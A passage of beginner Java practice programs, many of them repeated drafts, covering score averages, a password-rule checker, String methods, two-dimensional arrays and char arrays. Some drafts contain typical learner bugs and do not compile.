        { 29, 30, 31, 32, 33, 34, 35 },
        { 36, 37, 38, 39, 40, 41, 42 },
        { 10, 20, 30, 40, 50, 60, 70 } };
        /*
         * for (int i = 0; i < Employeeworkhours.length; i++) { for (int j = 0; j <
         * Employeeworkhours[i].length; j++) { Employeeworkhours[i][j] = in.nextInt(); }
         * }
         */
        int total[] = Sumhours(Employeeworkhours);
        for (int i = 0; i < total.length; i++) {
            System.out.println(total[i]);
        }
    };
};
import java.util.Scanner;

//Write a program that reads an unspecified number of scores and,
//determines how many scores are above or equal to the average and how many,
//scores are below the average. Enter a negative number to signify the end of the,
//input. Assume that the maximum number of scores is (10),

public class Ok {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.print("Enter Scores:(negative number signifies end):");
        int scores[] = new int[10];
        int numberofScores = 0;
        int average = 0;
        for (int i = 0; i < 10; i++) {
            scores[i] = input.nextInt();
            if (scores[i] < 0)
                break;
            average += scores[i];
            numberofScores++;
        }
        average /= numberofScores;
        int AboveOREqual = 0, below = 0;
        for (int i = 0; i < numberofScores; i++) {
            if (scores[i] >= average) {
                AboveOREqual++;
            } else {
                below++;
            }
        }
        System.out.println("\n Average of scores:" + average);
        System.out.println("Number of scores above or equal to average:" + AboveOREqual);
        System.out.println("Number of scores below average:" + below);

    };
};
import java.util.Scanner;

//Write a program that reads an unspecified number of scores and,
//determines how many scores are above or equal to the average and how many,
//scores are below the average. Enter a negative number to signify the end of the,
//input. Assume that the maximum number of scores is (10),
public class Ok {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.print("Enter Scores:(negative number signifies end):");
        int scores[] = new int[10];
        int numberofScores = 0;
        int average = 0;
        for (int i = 0; i < 10; i++) {
            scores[i] = input.nextInt();
            if (scores[i] < 0)
                break;
            average += scores[i];
            numberofScores++;
        }
        average /= numberofScores;
        int AboveOREqual = 0, below = 0;
        for (int i = 0; i < numberofScores; i++) {
            if (scores[i] >= average) {
                AboveOREqual++;
            } else {
                below++;
            }
        }
        System.out.println("\n Average of scores:" + average);
        System.out.println("Number of scores above or equal to average:" + AboveOREqual);
        System.out.println("Number of scores below average:" + below);

    };
};
public class Ok {
    public static void main(String[] args) {
        System.out.println("\n\n    1   2   3   4   5   6   7   8   9   10");// tab.
        System.out.println("----------------------------------------------");

        for (int i = 1; i <= 10; i++) {
            if (i < 10) {
                System.out.print(i + " |");
            } else {
                System.out.print(i + "|");
            }
            for (int j = 1; j <= 10; j++) {
                int z = i * j;
                if (z >= 10) {
                    System.out.print(z + "  ");
                } else {
                    System.out.print(z + "   ");
                }
            }
            System.out.println();
        }

    };

}
import java.util.Scanner;

//Some websites impose certain rules for passwords,
//Write a java program that checks whether a string is valid passwords,
//suppose the password rule is as follows,
//A password must have at least eight characters,
//A password consists of only letters and digits, 
//A password must contain at least two digits,
//your program prompts the user to enter a password and displays"valid password",
//if the rule is followed or"invalid password otherwise",

public class Ok {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("Enter the password:");
        String password = input.next();
        System.out.println(password.length());
        if (isLeastEightChara(password) && isContainLeastTwoDigits(password) && isOnlyLettersandDigits(password)) {
            System.out.println("Valid password");
        } else {
            System.out.println("inValid password");
        }
        System.out.println(isLeastEightChara(password));
        System.out.println(isContainLeastTwoDigits(password));
        System.out.println(isOnlyLettersandDigits(password));

    }

    public static boolean isLeastEightChara(String password) {
        if (password.length() >= 8) {
            return true;
        } else {
            return false;
        }
    };

    public static boolean isContainLeastTwoDigits(String password) {
        int count = 0;
        for (int i = 0; i < password.length(); i++) {
            char pass = password.charAt(i);
            if (Character.isDigit(pass)) {
                count++;
            }
        }
        if (count >= 2) {
            return true;
        } else {
            return false;
        }
    };

    public static boolean isOnlyLettersandDigits(String password) {
        boolean ahmed = false;
        for (int i = 0; i < password.length(); i++) {
            char pass = password.charAt(i);
            if (Character.isDigit(pass)) {
                ahmed = true;
            } else if (Character.isAlphabetic(pass)) {
                ahmed = true;
            } else {
                ahmed = false;
            }
        }
        return ahmed;
    };

}
//Some websites impose certain rules for passwords,
//Write a java program that checks whether a string is valid passwords,
//suppose the password rule is as follows,
//A password must have at least eight characters,
//A password consists of only letters and digits, 
//A password must contain at least two digits,
//your program prompts the user to enter a password and displays"valid password",
//if the rule is followed or"invalid password otherwise",

public class Ok {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("Enter the password:");
        String password = input.next();
        System.out.println(password.length());
        if (isLeastEightChara(password) && isContainLeastTwoDigits(password) && isOnlyLettersandDigits(password)) {
            System.out.println("Valid password");
        } else {
            System.out.println("inValid password");
        }
        System.out.println(isLeastEightChara(password));
        System.out.println(isContainLeastTwoDigits(password));
        System.out.println(isOnlyLettersandDigits(password));

    }
    public static boolean isLeastEightChara(String password) {
        if (password.length() >= 8) {
            return true;
        } else {
            return false;
        }
    };

    public static boolean isContainLeastTwoDigits(String password) {
        int count = 0;
        for (int i = 0; i < password.length(); i++) {
            char pass = password.charAt(i);
            if (Character.isDigit(pass)) {
                count++;
            }
        }
        if (count >= 2) {
            return true;
        } else {
            return false;
        }
    };
    public static boolean isOnlyLettersandDigits(String password) {
        boolean ahmed = false;
        for (int i = 0; i < password.length(); i++) {
            char pass = password.charAt(i);
            if (Character.isDigit(pass)) {
                ahmed = true;
            } else if (Character.isAlphabetic(pass)) {
                ahmed = true;
            } else {
                ahmed = false;
            }
        }
        return ahmed;
    };

}
import java.util.Scanner;

//Some websites impose certain rules for passwords,
//Write a java program that checks whether a string is valid passwords,
//suppose the password rule is as follows,
//A password must have at least eight characters,
//A password consists of only letters and digits, 
//A password must contain at least two digits,
//your program prompts the user to enter a password and displays"valid password",
//if the rule is followed or"invalid password otherwise",

public class Ok {
    public static void main(String[] args) {
        Scanner input=new Scanner(System.in);
        System.out.println("Enter the password:");
        String password=input.next();
        if(isLeastEightChara(password)&&isContainLeastTwoDigits(password)&&isOnlyLettersandDigits(password))
        {
            System.out.println("Valid password");
        }
        else
        {
            System.out.println("inValid password");

        }

        

    }
    public static boolean isLeastEightChara(String password)
    {
        if(password.length()<=8)
        {
            return true;
        }
        else
        {
            return false;
        }
    };
    public static boolean isContainLeastTwoDigits(String password)
    {
        int count=0;
        for(int i=0;i<password.length();i++)
        {
        char pass=password.charAt(i);
        if(Character.isDigit(pass))
        {
            count++;
        }
        }
        if(count>=2)
        {
            return true;
        }
        else
        {
            return false;
        }
    };
    public static boolean isOnlyLettersandDigits(String password){
        boolean a=false;
        for(int i=0;i<password.length();i++){
        char pass=password.charAt(i);
        if(Character.isDigit(pass)&&Character.isAlphabetic(pass)){
            a=true;
        }
        return a;
    }
    
}
    
}
public class Amazon {
    public static void main(String[] args) {
        String str = "ABCD";
        System.out.println(str);
    }
}
public class Amazon {

    public static void main(String[] args) {
        String str = new String("ABCD");
        System.out.println(str);
    }
}
public class Amazon {

    public static void main(String[] args) {
        String str = new String("ABCD");
        System.out.println(str);
        //class methods
    }
}
public class Amazon {
    public static void main(String[] args) {
        String str = "Hello";
        str = str.concat(str);
        System.out.println(str);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String str = "Hello";
        str = str.concat(", I'm Ahmed");
        System.out.println(str);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String str = "Hello";
        str = str + ", I'm Ahmed";
        System.out.println(str);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String str = "Hello";
        str = str + ", I'm Ahmed";
        System.out.println(str);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String str1 = "Hello";//have same address
        String str2 = "Hello";//have same address
        System.out.println(str1);
        System.out.println(str2);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String str1 = "Hello";// have same address
        String str2 = "Hello";// have same address
        String str3 = "AAAAA";
        str1 = "12345";
        System.out.println(str1);
        System.out.println(str2);
        // System.out.println(str3);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String str1 = "Hello";// have same address
        String str2 = "Hello";// have same address
        String str3 = "AAAAA";
        str1 = "12345";
        System.out.println(str1);
        System.out.println(str2);
        // System.out.println(str3);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String str1 = "Hello";// have same address
        String str2 = "Hello";// have same address
        String str3 = "AAAAA";
        str1 = "12345";
        System.out.println(str1);
        System.out.println(str2);
        // System.out.println(str3);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = "ABCD";
        String s2 = "ABCe";
        System.out.println(s1.compareTo(s2));
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = "ABCD";
        String s2 = "ABCe";
        System.out.println(s1.compareTo(s2));
        /*
         * s1>s2=+num, s1<s2=-num, s1=s2=0
         */
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = "ABCD";
        String s2 = "ABCe";
        System.out.println(s1.compareTo(s2));
        /*
         * s1>s2=+num, s1<s2=-num, s1=s2=0
         */
       System.out.println((int) 'A' + (int) 'B' + (int) 'C' + (int) 'D');
       System.out.println((int) 'A' + (int) 'B' + (int) 'C' + (int) 'e');
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = "ABCD";
        String s2 = "ABCe";
        System.out.println(s1.compareTo(s2));
        System.out.println((int) 'D');
        System.out.println((int) 'e');
        /*
         * s1>s2=+num, s1<s2=-num, s1=s2=0
         */
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = "ABCe";
        String s2 = "ABCe";
        System.out.println(s1.compareTo(s2));

    }
}
public class Amazon {
    public static void main(String[] args) {
        String str1 = "   hello   ";
        System.out.println(str1 + "how are you");
    }
}
public class Amazon {
    public static void main(String[] args) {
        String str1 = "   hello   ";
        System.out.println(str1.trim() + "how are you");
    }
}
public class Amazon {
    public static void main(String[] args) {
        String str1 = "   hello   ";
        System.out.println(str1.trim() + "how are you");
    }
}
public class Amazon {
    public static void main(String[] args) {
        String str1 = "HEllo I'm Belal";
        System.out.println(str1.toLowerCase());
    }
}
public class Amazon {
    public static void main(String[] args) {
        String str1 = "HEllo I'm Belal";
        System.out.println(str1.toLowerCase());
    }
}
public class Amazon {
    public static void main(String[] args) {
        String str1 = "HEllo I'm Belal";
        System.out.println(str1.toLowerCase());
    }
}
public class Amazon {
    public static void main(String[] args) {
        int n = 10;
        String str1 = String.valueOf(n);
        System.out.println(str1);
    }
}
public class Amazon {
    public static void main(String[] args) {
        int n = 10;
        String str1 = n + "";
        System.out.println(str1);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = "HELLO";
        String s2 = "HELLO";
        System.out.println(s1 == s2);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = "HELLO";
        String s2 = "HELLO";
        System.out.println(s1 == s2);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = new String("HELLO");
        String s2 = new String("HELLO");
        System.out.println(s1 == s2);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = new String("HELLO");
        String s2 = new String("HELLO");
        System.out.println(s1 == s2);//address
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = new String("HELLO");
        String s2 = new String("HELLO");
        System.out.println(s1.equals(s2));//address
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = new String("HELLO");
        String s2 = new String("HELLO");
        System.out.println(s1.equals(s2));
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = new String("HELLO");
        String s2 = new String("HELLO");
        s1 = s2;
        System.out.println(s1 == s2);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = new String("HELLO");
        String s2 = new String("HELLO");
        s1 = s2;
        System.out.println(s1 == s2);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = "HELLO";
        String s2 = "hello";
        System.out.println(s1.equalsIgnoreCase(s2));
    }
}
public class Amazon {

    public static void main(String[] args) {
        String s1 = "HELLO";
        String s2 = "hello";
        System.out.println(s1.equalsIgnoreCase(s2));
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1="Hey, Welcome to c++ course";
        String replaceString=s1.replace(target, replacement)
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = "Hey, Welcome to c++ course";
        String replaceString = s1.replace("c++", "JAVA");
        System.out.println(replaceString);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = "Hey, Welcome to c++ course";
        String replaceString = s1.replace("c++", "JAVA");
        System.out.println(replaceString);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = "Hey, Welcome to c++ course c++";
        String replaceString = s1.replace("c++", "JAVA");
        System.out.println(replaceString);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String name="hello how are you doing";
        System.out.println(name.contains("how are you"));
        System.out.println(name.contains("hello"));
        System.out.println(name.contains("fine"));
    }
}
public class Amazon {
    public static void main(String[] args) {
        String name = "hello how are you doing";
        System.out.println(name.contains("how are you"));
        System.out.println(name.contains("hello"));
        System.out.println(name.contains("fine"));
    }
}
public class Amazon {
    public static void main(String[] args) {
        String name = "hello how are you doing";
        System.out.println(name.contains(" you"));
        System.out.println(name.contains("hello"));
        System.out.println(name.contains("fine"));
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = "hello how are you";
        System.out.println(s1.endsWith("u"));
        System.out.println(s1.endsWith("you"));
        System.out.println(s1.endsWith("how"));
    }
}
public class Amazon {
    public static void main(String[] args) {
        String s1 = "hello how are you";
        System.out.println(s1.endsWith("u"));
        System.out.println(s1.endsWith("you"));
        System.out.println(s1.endsWith("how"));
    }
}
public class Amazon {
    public static void main(String[] args) {
        String ahmed1 = "Ahmed Abdelmoneim";
        System.out.println(ahmed1.substring(0));
    }
}
public class Amazon {
    public static void main(String[] args) {
        String ahmed1 = "Ahmed Abdelmoneim";
        System.out.println(ahmed1.substring(2));
    }
}
public class Amazon {
    public static void main(String[] args) {
        String ahmed1 = "Ahmed Abdelmoneim";
        System.out.println(ahmed1.substring(2, 8));
    }
}
public class Amazon {
    public static void main(String[] args) {
        String str = "AA-BB-CC-DD-EE-FF";
        for (String val : str.split("-")) {
            System.out.println(val);
        }
        ;
    }
}
public class Amazon {
    public static void main(String[] args) {
        String str = "AA BB CC DD EE FF";
        for (String val : str.split(" ")) {
            System.out.println(val);
        }
    }
}




















import java.util.Scanner;

public class Amazon {
    public static void main(String[] args) {
        int arr[][]=new int[3][];
        arr[0]=new int[4];
        arr[1]=new int[4];
        arr[2]=new int[4];

        arr[0][0]=1;
        arr[0][1]=2;
        arr[0][2]=3;
        arr[0][3]=4;

        arr[1][0]=10;
        arr[1][1]=20;
        arr[1][2]=30;
        arr[1][3]=40;

        arr[2][0]=50;
        arr[2][1]=60;
        arr[2][2]=70;
        arr[2][3]=80;
    }
}
import java.util.Scanner;
public class Amazon {
    public static void main(String[] args) {
        int arr[][] = new int[3][4];
        /*
         * arr[0]=new int[4];
         * arr[1]=new int[4];
         * arr[2]=new int[4];
         */
        arr[0][0] = 1;
        arr[0][1] = 2;
        arr[0][2] = 3;
        arr[0][3] = 4;

        arr[1][0] = 10;
        arr[1][1] = 20;
        arr[1][2] = 30;
        arr[1][3] = 40;

        arr[2][0] = 50;
        arr[2][1] = 60;
        arr[2][2] = 70;
        arr[2][3] = 80;
    }
}
import java.util.Scanner;
public class Amazon {
    public static void main(String[] args) {
        int arr[][] = new int[][]{
            {1,5,8},
            {5,6},
            {4}};
    }
}
import java.util.Scanner;
public class Amazon {
    public static void main(String[] args) {
        int arr[][] = { { 1, 5, 8 }, { 5, 6 }, { 4 } };
        System.out.println(arr.length);
    }
}
import java.util.Scanner;
public class Amazon {
    public static void main(String[] args) {
        int arr[][] = { { 1, 5, 8 }, { 5, 6 }, { 4 } };
        System.out.println(arr.length);
        System.out.println(arr[0].length);
        System.out.println(arr[1].length);
        System.out.println(arr[2].length);
    }
}
import java.util.Scanner;
public class Amazon {
    public static void main(String[] args) {
        int arr[][] = { { 1, 5, 8 }, { 5, 6 }, { 4 } };
        System.out.println(arr.length);
        System.out.println(arr[0].length);
        System.out.println(arr[1].length);
        System.out.println(arr[2].length);
    }
}
import java.util.Scanner;
public class Amazon {
    public static void main(String[] args) {
        int[][] arr = { { 1, 5, 8 }, { 5, 6 }, { 4 } };
        for (int i = 0; i < arr[0].length; i++) {
            System.out.println(arr[i] + " ");
        }
    }
}
import java.util.Scanner;
public class Amazon {
    public static void main(String[] args) {
        int[][] arr = { { 1, 5, 8 }, { 5, 6 }, { 4 } };
        for (int i = 0; i < arr[0].length; i++) {
            System.out.println(arr[0][i] + " ");
        }
    }
}
public class Amazon {
    public static void main(String[] args) {
        int[][] arr = { { 1, 5, 8 }, { 5, 6 }, { 4 } };
        for (int row = 0; row < arr.length; row++) {
            for (int col = 0; col < arr[row].length; col++) {
                System.out.print(arr[row][col] + " ");
            }
            System.out.println();
        }
    }
}
public class Amazon {
    public static void main(String[] args) {
        int[][] arr = { { 1, 5, 8 }, { 5, 6 }, { 4 } };
        for (int row = 0; row < arr.length; row++) {
            for (int col = 0; col < arr[row].length; col++) {
                System.out.print(arr[row][col] + " ");
            }
            System.out.println();
        }
    }
}
public class Amazon {
    public static void main(String[] args) {
        int[][] arr = { { 1, 5, 8 }, { 5, 6 }, { 4 } };
        for (int[] r : arr) {
            for (int c : r) {
                System.out.print(c + " ");
            }
            System.out.println();
        }
    }
}
public class Amazon {
    public static void main(String[] args) {
        int[][] arr = { { 1, 3, 5 }, { 2, 4, 6 } };// 2 X 3 transpose matrix.
        for (int i = 0; i < arr.length; i++) {
            for (int j = 0; j < arr[i].length; j++) {
                System.out.print(arr[i][j] + " ");
            }
            System.out.println();
        }
    }
}
public class Amazon {
    public static void main(String[] args) {
        int[][] arr = { { 1, 3, 5 }, { 2, 4, 6 } };// 2 X 3 transpose matrix.
        for (int i = 0; i < 3; i++) {
            for (int j = 0; j < 2; j++) {
                System.out.print(arr[j][i] + " ");
            }
            System.out.println();
        }
    }
}
public class Amazon {
    public static void main(String[] args) {
        int[][] arr = { { 1, 3, 5 }, { 2, 4, 6 } };// 2 X 3 transpose matrix.
        for (int i = 0; i < 3; i++) {
            for (int j = 0; j < 2; j++) {
                System.out.print(arr[j][i] + " ");
            }
            System.out.println();
        }
    }
}
public class Amazon {

    static void print(int a[][]) {
        for (int i = 0; i < a.length; i++) {
            for (int j = 0; j < a[i].length; j++) {
                System.out.print(a[i][j] + " ");
            }
            System.out.println();
        }
    }

    public static void main(String[] args) {
        int[][] arr = { { 1, 3, 5 }, { 2, 4, 6 } };
        print(arr);

    }
}
public class Amazon {

    static void print(int a[][]) {
        for (int i = 0; i < a.length; i++) {
            for (int j = 0; j < a[i].length; j++) {
                System.out.print(a[i][j] + " ");
            }
            System.out.println();
        }
    }

    public static void main(String[] args) {
        int[][] arr = { { 1, 3, 5 }, { 2, 4, 6 } };
        print(arr);

    }
}
public class Amazon {

    static int[][] get2Array() {
        int arr[][]=new int [2][3];
        return arr;
    }

    public static void main(String[] args) {
        



    }
}




public class Amazon {
    static void printArray(int[] x) {
        for (int i = 0; i < x.length; i++) {
            System.out.println(x[i]);
        }

    }

    public static void main(String[] args) {
        int arr[] = { 1, 2, 3, 4 };
        printArray(arr);
    }
}
public class Amazon {
    static void printArray(int[] x) {
        for (int i = 0; i < x.length; i++) {
            System.out.println(x[i]);
        }

    }

    public static void main(String[] args) {
        int arr1[] = { 1, 2, 3, 4 };
        int arr2[] = { 5, 6, 7, 8 };
        printArray(arr2);
    }
}
public class Amazon {
    static void printArray(int[] x) {
        for (int i = 0; i < x.length; i++) {
            System.out.println(x[i]);
        }
    }
    public static void main(String[] args) {
        int arr1[] = { 1, 2, 3, 4 };
        int arr2[] = { 5, 6, 7, 8 };
        int x[] = new int[] { 1, 2, 3 };
        printArray(new int[] { 1, 2, 3 });
    }
}
public class Amazon {
    static void printArray(int[] x) {
        for (int i = 0; i < x.length; i++) {
            System.out.println(x[i]);
        }
    }
    public static void main(String[] args) {
        int arr1[] = { 1, 2, 3, 4 };
        int arr2[] = { 5, 6, 7, 8 };
        int x[] = new int[] { 1, 2, 3 };
        printArray(new int[] { 1, 2, 3 });
        printArray(x);
    }
}
import java.util.Scanner;

public class Amazon {

    static int[] getArray() {
        return new int[] { 20, 40, 60, 80 };
    }

    static void printArray(int[] x) {
        for (int i = 0; i < x.length; i++) {
            System.out.println(x[i]);
        }

    }

    public static void main(String[] args) {
        int z[] = getArray();
        printArray(z);
    }
}
import java.util.Scanner;

public class Amazon {

    static int[] getArray() {
        return new int[] { 20, 40, 60, 80 };
    }

    static void printArray(int[] x) {
        for (int i = 0; i < x.length; i++) {
            System.out.println(x[i]);
        }

    }

    public static void main(String[] args) {
        int z[] = getArray();
        printArray(z);
    }
}
import java.util.Scanner;
public class Amazon {
    static int[] getArray() {
        return new int[] { 20, 40, 60, 80 };
    }

    static void printArray(int[] x) {
        for (int i = 0; i < x.length; i++) {
            System.out.println(x[i]);
        }

    }
    public static void main(String[] args) {
        int z[] = getArray();
        printArray(z);
    }
}
import java.util.Scanner;
public class Amazon {
    public static void main(String[] args) {
        int arr1[] = { 1, 2, 3 };
        int arr2[] = { 40, 50, 60 };
        arr1 = arr2;
        arr2[0] = 100;
        arr1[1] = 500;
        System.out.println(arr1[0]);
        System.out.println(arr2[2]);
    }
}
import java.util.Scanner;
public class Amazon {
    static void setArray(int[] x) {
        x[0] = 50;
    }
    public static void main(String[] args) {
        int arr1[] = { 1, 2, 3, 4 };
        setArray(arr1);
        System.out.println(arr1[0]);
    }
}
import java.util.Scanner;
public class Amazon {
    static void setArray(int[] x) {
        x[0] = 50;
    }
    public static void main(String[] args) {
        int arr1[] = { 1, 2, 3, 4 };
        setArray(arr1);
        System.out.println(arr1[0]);
    }
}
import java.util.Scanner;
public class Amazon {
    static void setArray(int[] x) {
        x[0] = 50;
    }
    static void serVar(int x) {
        x = 10;
    }
    public static void main(String[] args) {
        int arr1[] = { 1, 2, 3, 4 };
        setArray(arr1);
        System.out.println(arr1[0]);
        int y = 5;
        serVar(y);
        System.out.println(y);
    }
}
import java.util.Scanner;
public class Amazon {
    static void setArray(int[] x) {
        x[0] = 50;
    }
    static void serVar(int x) {//&cant use in java
        x = 10;
    }
    public static void main(String[] args) {
        int arr1[] = { 1, 2, 3, 4 };
        setArray(arr1);
        System.out.println(arr1[0]);
        int y = 5;
        serVar(y);
        System.out.println(y);
    }
}
import java.util.Scanner;
public class Amazon {
    public static void main(String[] args) {
        int arr1[] = { 1, 2, 3 };
        int arr2[] = { 40, 50, 60 };
        int arr3[] = { 40, 50, 60 };
        arr1 = arr2 = arr3;
        arr1[0] = 0;
        System.out.println(arr1[0]);
        System.out.println(arr2[0]);
        System.out.println(arr3[0]);
    }
}
import java.util.Scanner;
public class Amazon {
    public static void main(String[] args) {
        int arr1[] = { 1, 2, 3 };
        int arr2[] = { 40, 50, 60 };
        int arr3[] = { 40, 50, 60 };
        arr1 = arr2 = arr3;
        arr1[0] = 0;
        System.out.println(arr1[0]);
        System.out.println(arr2[0]);
        System.out.println(arr3[0]);
    }
}


import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char ahmedarr[] = new char[5];
        ahmedarr[0] = 'a';
        ahmedarr[1] = 'h';
        ahmedarr[2] = 'm';
        ahmedarr[3] = 'e';
        ahmedarr[4] = 'd';
        for (int i = 0; i < ahmedarr.length; i++) {
            System.out.print(ahmedarr[i]);
        }
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char ahmedarr[] = new char[5];
        ahmedarr[0] = 'a';
        ahmedarr[1] = 'h';
        ahmedarr[2] = 'm';
        ahmedarr[3] = 'e';
        ahmedarr[4] = 'd';
        System.out.println(ahmedarr);
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char ahmedarr[] = { 'a', 'h', 'm', 'e', 'd' };
        System.out.println(ahmedarr);
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char ahmedarr[] = { 97, 98 };
        System.out.println(ahmedarr);
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char ahmedarr[] = { 97, 98 };//using ASC code
        System.out.println(ahmedarr);
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char ahmedarr[] = { 65, 66 };// using ASC code
        System.out.println(ahmedarr);
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char ahmedarr[] = { 65, 66 };// using ASC code
        System.out.println(ahmedarr);
        System.out.println(((char)66);//Type Casting
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char ahmedarr[] = { 65, 66 };// using ASC code
        System.out.println(ahmedarr);
        System.out.println((char) 66);// Type Casting
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char ahmedarr[] = { 65, 66 };// using ASC code
        System.out.println(ahmedarr);
        System.out.println((char) 66);// Type Casting
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int size = input.nextInt();
        char arrchar[] = new char[size];
        arrchar = input.next().toCharArray();
        System.out.println(arrchar);
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int size = input.nextInt();
        char arrchar[] = new char[size];
        arrchar = input.next().toCharArray();
        System.out.println(arrchar);
    }
}
import java.util.Arrays;
import java.util.Scanner;

/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char arr[] = new char[6];
        Scanner input = new Scanner(System.in);
        arr = input.nextLine().toCharArray();
        System.out.println(arr);
    }
}
import java.util.Arrays;
import java.util.Scanner;

/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char arr[] = new char[6];
        Scanner input = new Scanner(System.in);
        arr = input.nextLine().toCharArray();
        System.out.println(arr);
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char arr[] = new char[20];
        Scanner input = new Scanner(System.in);
        String str = input.nextLine();
        arr = str.toCharArray();
        System.out.println(arr);
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char arr[] = new char[20];
        Scanner input = new Scanner(System.in);
        String str = input.nextLine();
        arr = str.toCharArray();
        System.out.println(arr);
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char arr[]=new char[]{'C','B','A'};
        Arrays.sort(arr);
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char arr[] = new char[] { 'C', 'B', 'A' };
        Arrays.sort(arr);
        System.out.println(arr);
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char arr[] = new char[] { 'C', 'B', 'A' };
        Arrays.sort(arr);
        System.out.println(arr);
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char arr[] = new char[] { 'a', 'C', 'A' };
        Arrays.sort(arr);
        System.out.println(arr);
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char arr[] = new char[] { 'a', 'b', 'c', 'd', 'e' };
        String str = new String(arr, 0, 2);
        System.out.println(str);
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char arr[] = new char[] { 'a', 'b', 'c', 'd', 'e' };
        String str = new String(arr, 2, 3);
        System.out.println(str);
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char arr[] = new char[] { 'a', 'b', 'c', 'd', 'e' };
        String str = new String(arr, 2, 3);
        System.out.println(str);
    }
}
import java.util.Arrays;
import java.util.Scanner;

/*
Char Array.
*/
public class Amazon {
    public static void main(String[] args) {
        char arr[]=new char[]{'a','b','c','d','e'};
        String str="abcde";
    }
}

//array of char can Encrypt.






//Arrays (one_Dimensional Arrays)
/*
Write a java program to sum values of an array.
*/
public class Amazon {
    public static void main(String[] args) {
        int ahmedarr[] = { 1, 5, 8, 9 };
        int sum = 0;
        for (int i = 0; i < ahmedarr.length; i++) {
            sum = sum + ahmedarr[i];
        }
        System.out.println("The Sum=" + sum);
    }
}
//Arrays (one_Dimensional Arrays)
/*
Write a java program to sum values of an array.
*/
public class Amazon {
    public static void main(String[] args) {
        int ahmedarr[] = { 1, 5, 8, 9 };
        int sum = 0;
        for (int i = 0; i < ahmedarr.length; i++) {
            sum = sum + ahmedarr[i];//sum+=ahmedarr[i];
        }
        System.out.println("The Sum=" + sum);
    }
}
import java.util.Scanner;
/*
Write a Java program to calculate:
the average value of array elements.
*/
public class Amazon {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("Enter size number:");
        int size = input.nextInt();
        int arrnumber[] = new int[size], sum = 0;
        for (int i = 0; i < arrnumber.length; i++) {
            arrnumber[i] = input.nextInt();
        }
        for (int j = 0; j < arrnumber.length; j++) {
            sum += arrnumber[j];
        }
        System.out.println("The Average =="+(sum/size));
    }
}
import java.util.Scanner;
/*
Write a Java program to calculate:
the average value of array elements.
*/
public class Amazon {
    public static void main(String[] args) {
